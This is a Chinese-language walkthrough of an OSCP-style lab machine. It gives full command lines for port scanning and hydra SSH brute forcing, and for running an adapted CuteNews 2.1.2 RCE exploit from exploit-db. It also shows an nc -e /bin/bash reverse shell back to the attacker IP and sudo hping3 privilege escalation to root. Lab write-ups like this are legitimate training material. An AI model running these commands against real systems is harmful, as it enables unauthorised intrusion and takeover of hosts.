今天来打一个OSCP的靶机,难度中等,花了我半天的时间,包含了端口探测,服务探测,ssh爆破,nc反弹shell,sudo提权等等…靶场难度中等,需要收集两个flag,一个flag低权限shell就可以获取,第二个要提权后才可以获取。希望大家看完可以有所收获。
启动VPN:openvpn universal.ovpn
攻击机IP为:192.168.45.193
启动目标靶机:
目标靶机IP为: 192.168.164.128
1.端口
nmap扫描端口:nmap --min-rate 10000 -p- 192.168.164.128
探测到了:22、80、88、110、995端口
端口服务探测:nmap -p 22,80,88,110,995 -sV 192.168.164.128
探测到各端口对应服务为:
22-open-openssh 7.9p1
80-open-http
88-open-http
110-open-pop3
995-open-ssl/pop3
2.端口测试
2.122-SSH端口
发现22端口是ssh服务,且版本为OpenSSH 7.9p1 Debian,可以搜一下有没有对应的利用脚本。msfconsole
searchsploit openssh 7.9
莫有。
手工弱口令登一下试试。ssh [email protected] -p 22
试了还是没有弱口令登录成功,直接ssh爆破,字典选一本msf的,线程为6。hydra -l root -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 6 -vV 192.168.164.128 ssh -s 22
等待ing,没有爆破出来。
2.280-http
80端口老规矩直接访问一下192.168.164.128:80
apache2 的页面,curl看一下源码curl http://192.168.164.128:80
没有什么东西。dirsearch扫一下目录。dirsearch -u http://192.168.164.128:80
还是有很多的,有登录界面?那就看一下Index.php
试了下弱口令和SQL注入好像都不行,看一下cmswhatweb http://192.168.164.128/index.php
cms是cutenews。看一下具体版本。curl http://192.168.164.128/index.php
有了具体版本,等下直接msf搜exp。
2.388-http
访问一下看看
看了一下,啥都没有呀。直接用80的开打吧。
刚才得到的cms:cutenews 2.1.2
msf直接搜expmsfconsole
searchsploit cutenews 2.1.2
看到有rce就直接用了。选4。把exp拷贝出来。cp /usr/share/exploitdb/exploits/php/webapps/48800.py exp
查看使用信息cat /usr/share/exploitdb/exploits/php/webapps/48800.py
就是运行后填上IP跟着走就对了。搞起来。python3 48800.py
输入url: http://192.168.164.128:80
怎么直接寄了。可能得修改exp,看看分析分析。cat 48800.py
看到这里就懂了,它这里的URL里面多了/CuteNews,我们的是直接加的index.php,所以要修改一下。看一下有几个地方存在这个问题:grep CuteNews 48800.py
这vim修改真的过于逆天,不想vim修改的话有个小技巧,直接用sed 将所有的 “CuteNews/” 替换为空字符串sed -i 's:CuteNews/::g' 48800.py
grep CuteNews 48800.py
没有了,现在重新开打。
拿到shell了!
现在的shell是利用python的exp获取的,我们获取本地的shell会更方便一点,用nc反弹一下。
攻击机nc创建监听端口。nc -lvvp 1234
目标shel输入反弹shellnc -e /bin/bash 192.168.45.193 1234
反弹获取的shell交互不友好,利用python创建一个稳定的shellpython -c "import pty;pty.spawn('/bin/bash')";
获取flag1:find / -name local.txt
cat /var/www/local.txt
-sudo提权sudo -l
可以看到hping3有root权限。
访问 https://gtfobins.github.io 寻找hping3
输入就直接是root了,666
查找flag2cat /root/proof.txt
完结